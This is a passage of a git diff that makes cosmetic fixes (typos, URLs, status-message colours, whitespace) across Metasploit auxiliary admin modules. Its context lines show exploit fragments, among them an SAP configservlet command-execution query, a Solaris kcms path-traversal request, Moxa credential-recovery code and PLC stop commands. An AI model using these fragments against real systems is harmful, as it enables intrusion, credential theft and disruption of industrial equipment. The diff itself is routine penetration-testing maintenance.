   include Msf::Exploit::Remote::Postgres
 
   def initialize(info = {})
@@ -13,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'PostgreSQL Server Generic Query',
       'Description'    => %q{
           This module will allow for simple SQL statements to be executed against a
-          PostgreSQL instance given the appropiate credentials.
+          PostgreSQL instance given the appropriate credentials.
       },
       'Author'         => [ 'todb' ],
       'License'        => MSF_LICENSE,
diff --git a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
index 2fdd2c4925..dc60f21741 100644
--- a/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
+++ b/modules/auxiliary/admin/sap/sap_configservlet_exec_noauth.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -49,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
           'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
         })
       if !res or res.code != 200
-        print_error("#{rhost}:#{rport} - Exploit failed.")
+        print_error("#{rhost}:#{rport} - Exploit failed")
         return
       end
     rescue ::Rex::ConnectionError
@@ -62,7 +61,7 @@ class MetasploitModule < Msf::Auxiliary
       print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
       print_line("#{rhost}:#{rport} - Output: #{res.body}")
     else
-      print_error("#{rhost}:#{rport} - Exploit failed.")
+      print_error("#{rhost}:#{rport} - Exploit failed")
       vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
     end
   end
diff --git a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb
index 8fbab88233..2ea466b56b 100644
--- a/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb
+++ b/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb
index 25db025845..8e71778fee 100644
--- a/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb
+++ b/modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include REXML
@@ -318,6 +317,5 @@ class MetasploitModule < Msf::Auxiliary
 
     result
   end
-
 end
 
diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
index 05fca9df48..bcb7907f94 100644
--- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
+++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
@@ -137,5 +137,4 @@ class MetasploitModule < Msf::Auxiliary
     print_good("#{rhost}:#{rport} - File saved in: #{path}")
 
   end
-
 end
diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb
index 6b1449faf2..6804d5fc44 100644
--- a/modules/auxiliary/admin/scada/modicon_command.rb
+++ b/modules/auxiliary/admin/scada/modicon_command.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Rex::Socket::Tcp
 
diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb
index 0663776f04..89a19bc5e1 100644
--- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb
+++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,7 +119,7 @@ class MetasploitModule < Msf::Auxiliary
     vprint_status "#{ip}:#{rport} - FTP - Connecting"
     conn = connect_login
     if conn
-      print_status("#{ip}:#{rport} - FTP - Login succeeded")
+      print_good("#{ip}:#{rport} - FTP - Login succeeded")
       report_cred(
         ip: ip,
         port: rport,
@@ -130,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary
       )
       return true
     else
-      print_status("#{ip}:#{rport} - FTP - Login failed")
+      print_error("#{ip}:#{rport} - FTP - Login failed")
       return false
     end
   end
@@ -243,5 +243,4 @@ class MetasploitModule < Msf::Auxiliary
     # )
     print_line logins.to_s
   end
-
 end
diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
index 6b1dd064b3..cb1549a758 100644
--- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
+++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Rex::Socket::Tcp
 
@@ -305,5 +304,4 @@ class MetasploitModule < Msf::Auxiliary
   def cleanup
     disconnect rescue nil
   end
-
 end
diff --git a/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb b/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
index 390f137b54..277a1eb8ae 100644
--- a/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
+++ b/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -133,11 +133,11 @@ class MetasploitModule < Msf::Auxiliary
   # helper function for extracting password from 0x29 FC response
   def get_pass(response)
     if response.length() < 200
-      print_status("get_pass failed: response not long enough")
+      print_error("get_pass failed: response not long enough")
       return
     end
     pass = get_string(response[200..-1])
-    print_status("password retrieved: #{pass}")
+    print_good("password retrieved: #{pass}")
     store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass)
     return pass
   end
@@ -145,22 +145,22 @@ class MetasploitModule < Msf::Auxiliary
   # helper function for extracting snmp community from 0x28 FC response
   def get_snmp_read(response)
     if response.length() < 24
-      print_status("get_snmp_read failed: response not long enough")
+      print_error("get_snmp_read failed: response not long enough")
       return
     end
     snmp_string = get_string(response[24..-1])
-    print_status("snmp community retrieved: #{snmp_string}")
+    print_good("snmp community retrieved: #{snmp_string}")
     store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string)
   end
 
   # helper function for extracting snmp community from 0x2C FC response
   def get_snmp_write(response)
     if response.length() < 64
-      print_status("get_snmp_write failed: response not long enough")
+      print_error("get_snmp_write failed: response not long enough")
       return
     end
     snmp_string = get_string(response[64..-1])
-    print_status("snmp read/write community retrieved: #{snmp_string}")
+    print_good("snmp read/write community retrieved: #{snmp_string}")
     store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string)
   end
 
@@ -169,7 +169,7 @@ class MetasploitModule < Msf::Auxiliary
   def get_creds(response)
     if response.length() < 200
       # attempt failed. device may not be unlocked
-      print_status("get_creds failed: response not long enough. Will fall back to other functions")
+      print_error("get_creds failed: response not long enough. Will fall back to other functions")
       return -1
     end
     get_snmp_read(response)
diff --git a/modules/auxiliary/admin/scada/multi_cip_command.rb b/modules/auxiliary/admin/scada/multi_cip_command.rb
index 0279a8c4f0..9aa11c2593 100644
--- a/modules/auxiliary/admin/scada/multi_cip_command.rb
+++ b/modules/auxiliary/admin/scada/multi_cip_command.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Rex::Socket::Tcp
 
@@ -12,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
       'Description'    => %q{
-        The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
+        The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
         implements the protocol.  This module implements the CPU STOP command, as well as
         the ability to crash the Ethernet card in an affected device.
 
@@ -136,5 +135,4 @@ class MetasploitModule < Msf::Auxiliary
       return nil
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb
index a0c81d34c2..9dd04bf5ae 100644
--- a/modules/auxiliary/admin/scada/phoenix_command.rb
+++ b/modules/auxiliary/admin/scada/phoenix_command.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
index 89f95fe573..e062fba641 100644
--- a/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
+++ b/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Exploit::Remote::TcpServer
   include Msf::Auxiliary::Report
@@ -125,6 +124,5 @@ class MetasploitModule < Msf::Auxiliary
   def on_client_close(c)
     stop_service
   end
-
 end
 
diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb
index dedd9fa697..ee6b6b68d0 100644
--- a/modules/auxiliary/admin/serverprotect/file.rb
+++ b/modules/auxiliary/admin/serverprotect/file.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::DCERPC
   include Msf::Post::Windows::Registry
 
@@ -177,7 +174,7 @@ class MetasploitModule < Msf::Auxiliary
       ret, = resp[8,4].unpack('V')
 
       if ret == 0
-        print_status("File #{args[0]} successfully deleted.")
+        print_good("File #{args[0]} successfully deleted.")
       else
         print_error("An error occurred while deleting #{args[0]}: #{ret}.")
       end
@@ -215,7 +212,7 @@ class MetasploitModule < Msf::Auxiliary
 
     serverprotect_closehandle(handle)
 
-    print_status("File #{args[0]} successfully downloaded.")
+    print_good("File #{args[0]} successfully downloaded.")
   end
 
 
@@ -248,7 +245,7 @@ class MetasploitModule < Msf::Auxiliary
 
     serverprotect_closehandle(handle)
 
-    print_status("File #{args[1]} successfully uploaded.")
+    print_good("File #{args[1]} successfully uploaded.")
   end
 
 
@@ -397,5 +394,4 @@ class MetasploitModule < Msf::Auxiliary
       nil
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb
index fa0d73c78a..59c0c1705c 100644
--- a/modules/auxiliary/admin/smb/check_dir_file.rb
+++ b/modules/auxiliary/admin/smb/check_dir_file.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb
index f631453256..e22fb148f8 100644
--- a/modules/auxiliary/admin/smb/delete_file.rb
+++ b/modules/auxiliary/admin/smb/delete_file.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Unable to login: #{e.message}")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb
index 4dba6ddf29..6d7da1c769 100644
--- a/modules/auxiliary/admin/smb/download_file.rb
+++ b/modules/auxiliary/admin/smb/download_file.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Unable to login: #{e.message}")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb
index 49c084d45c..0ac35c00ce 100644
--- a/modules/auxiliary/admin/smb/list_directory.rb
+++ b/modules/auxiliary/admin/smb/list_directory.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb
index 799cfbfae9..1c02889282 100644
--- a/modules/auxiliary/admin/smb/psexec_command.rb
+++ b/modules/auxiliary/admin/smb/psexec_command.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SMB::Client::Psexec
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary
       'References'     => [
         [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
         [ 'OSVDB', '3106'],
-        [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+        [ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
         [ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
         [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
       ]
@@ -175,8 +174,7 @@ class MetasploitModule < Msf::Auxiliary
     if left.any?
       print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
     else
-      print_status("Cleanup was successful")
+      print_good("Cleanup was successful")
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
index ac03de5762..578da53358 100644
--- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
+++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'=> MSF_LICENSE,
       'References' => [
         [ 'URL', 'http://sourceforge.net/projects/smbexec' ],
-        [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ]
+        [ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ]
       ]
     ))
 
@@ -249,9 +249,8 @@ class MetasploitModule < Msf::Auxiliary
     if left.any?
       print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
     else
-      print_status("Cleanup was successful")
+      print_good("Cleanup was successful")
     end
     simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
   end
-
 end
diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
index 3582910497..b822730b83 100644
--- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
+++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
@@ -61,5 +59,4 @@ class MetasploitModule < Msf::Auxiliary
     print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
     print_line("")
   end
-
 end
diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb
index 5b16259703..81a4d11971 100644
--- a/modules/auxiliary/admin/smb/upload_file.rb
+++ b/modules/auxiliary/admin/smb/upload_file.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
 
   # Exploit mixins should be called first
diff --git a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
index 0f374193d0..42b667d33b 100644
--- a/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
+++ b/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::SunRPC
 
   def initialize
@@ -66,14 +65,14 @@ class MetasploitModule < Msf::Auxiliary
 
     # Prepare the traversing request for kcms_server
     trav = 'TT_DB/' + ('../' * 5) + path
-    buf = XDR.encode(
+    buf = Rex::Encoder::XDR.encode(
       [trav, 1024],
       0, # O_RDONLY
       0755) # mode
 
     # Make the request
     ret = sunrpc_call(1003, buf)
-    ack, fsize, fd = XDR.decode!(ret, Integer, Integer, Integer)
+    ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)
 
     if (ack != 0)
       print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)
@@ -88,13 +87,13 @@ class MetasploitModule < Msf::Auxiliary
     print_status("fd: #{fd}, file size #{fsize}")
 
     print_status("Making read() request to the kcms_server...")
-    buf = XDR.encode(
+    buf = Rex::Encoder::XDR.encode(
       fd,
       0,
       fsize)
 
     ret = sunrpc_call(1005, buf)
-    x, data = XDR.decode!(ret, Integer, [Integer])
+    x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])
 
     # If we got something back...
     if (data)
@@ -118,7 +117,7 @@ class MetasploitModule < Msf::Auxiliary
 
     # Close it regardless if it returned anything..
     print_status("Making close() request to the kcms_server...")
-    buf = XDR.encode(fd)
+    buf = Rex::Encoder::XDR.encode(fd)
     sunrpc_call(1004, buf)
 
     # done
@@ -138,7 +137,7 @@ class MetasploitModule < Msf::Auxiliary
   def ttdb_build(path)
     sunrpc_create('tcp', 100083, 1)
     sunrpc_authunix('localhost', 0, 0, [])
-    msg = XDR.encode(
+    msg = Rex::Encoder::XDR.encode(
       [path, 1024],
       path.length,
       1, # KEY (VArray head?)
@@ -152,9 +151,8 @@ class MetasploitModule < Msf::Auxiliary
       0x10002,
       path.length)
     ret = sunrpc_call(3, msg)
-    arr = XDR.decode!(ret, Integer, Integer)
+    arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
     print_status("TTDB reply: 0x%x, %d" % arr)
     sunrpc_destroy
   end
-
 end
diff --git a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb
index 0e96f1ffa4..768315f669 100644
--- a/modules/auxiliary/admin/tftp/tftp_transfer_util.rb
+++ b/modules/auxiliary/admin/tftp/tftp_transfer_util.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Rex::Proto::TFTP
   include Msf::Auxiliary::Report
 
@@ -217,5 +215,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_status [rtarget,msg].join
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb
index 4195bb2097..00ed3382fc 100644
--- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb
+++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -12,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'TikiWiki Information Disclosure',
       'Description'    => %q{
           A vulnerability has been reported in Tikiwiki, which can be exploited by
-        a anonymous user to dump the MySQL user & passwd just by creating a mysql
+        an anonymous user to dump the MySQL user & passwd just by creating a mysql
         error with the "sort_mode" var.
 
         The vulnerability was reported in Tikiwiki version 1.9.5.
diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb
index fb7e9d4a2b..c3fb206364 100644
--- a/modules/auxiliary/admin/upnp/soap_portmapping.rb
+++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb
@@ -1,6 +1,5 @@
 ##
-# encoding: utf-8
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/admin/vmware/poweroff_vm.rb b/modules/auxiliary/admin/vmware/poweroff_vm.rb
index a1e236383c..805a876100 100644
--- a/modules/auxiliary/admin/vmware/poweroff_vm.rb
+++ b/modules/auxiliary/admin/vmware/poweroff_vm.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb
index 19260a2a0e..4082536610 100644
--- a/modules/auxiliary/admin/vmware/poweron_vm.rb
+++ b/modules/auxiliary/admin/vmware/poweron_vm.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -59,5 +56,4 @@ class MetasploitModule < Msf::Auxiliary
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb
index 7df56dd787..0153985897 100644
--- a/modules/auxiliary/admin/vmware/tag_vm.rb
+++ b/modules/auxiliary/admin/vmware/tag_vm.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -43,25 +40,24 @@ class MetasploitModule < Msf::Auxiliary
         result = vim_log_event_vm(vm_ref, datastore['MSG'])
         case result
         when :noresponse
-          print_error "Recieved no Response"
+          print_error "Received no response"
         when :expired
           print_error "The login session appears to have expired"
         when :error
-          print_error "An error occured"
+          print_error "An error occurred"
         else
-          print_good "User Event logged"
+          print_good "User Event Logged"
         end
       when :noresponse
-        print_error "Recieved no Response"
+        print_error "Received no response"
       when :expired
         print_error "The login session appears to have expired"
       when :error
         print_error @vim_soap_error
       end
     else
-      print_error "Login Failure on #{datastore['RHOST']}"
+      print_error "Login failure on #{datastore['RHOST']}"
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb
index 4dbaa474fd..233f602fc1 100644
--- a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb
+++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -50,5 +47,4 @@ class MetasploitModule < Msf::Auxiliary
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb
index c473494f52..5edd31e125 100644
--- a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb
+++ b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::Tcp
 
diff --git a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb
index 61d7ea9340..1f45455806 100644
--- a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb
+++ b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WDBRPC_Client
 
   def initialize(info = {})
diff --git a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb
index a22c3f9f61..535fb4b423 100644
--- a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb
+++ b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WDBRPC_Client
 
   def initialize(info = {})
@@ -85,5 +82,4 @@ class MetasploitModule < Msf::Auxiliary
 
     wdbrpc_client_disconnect
   end
-
 end
diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb
index 65e47977cb..f1febe0ddb 100644
--- a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb
+++ b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WDBRPC_Client
 
   def initialize(info = {})
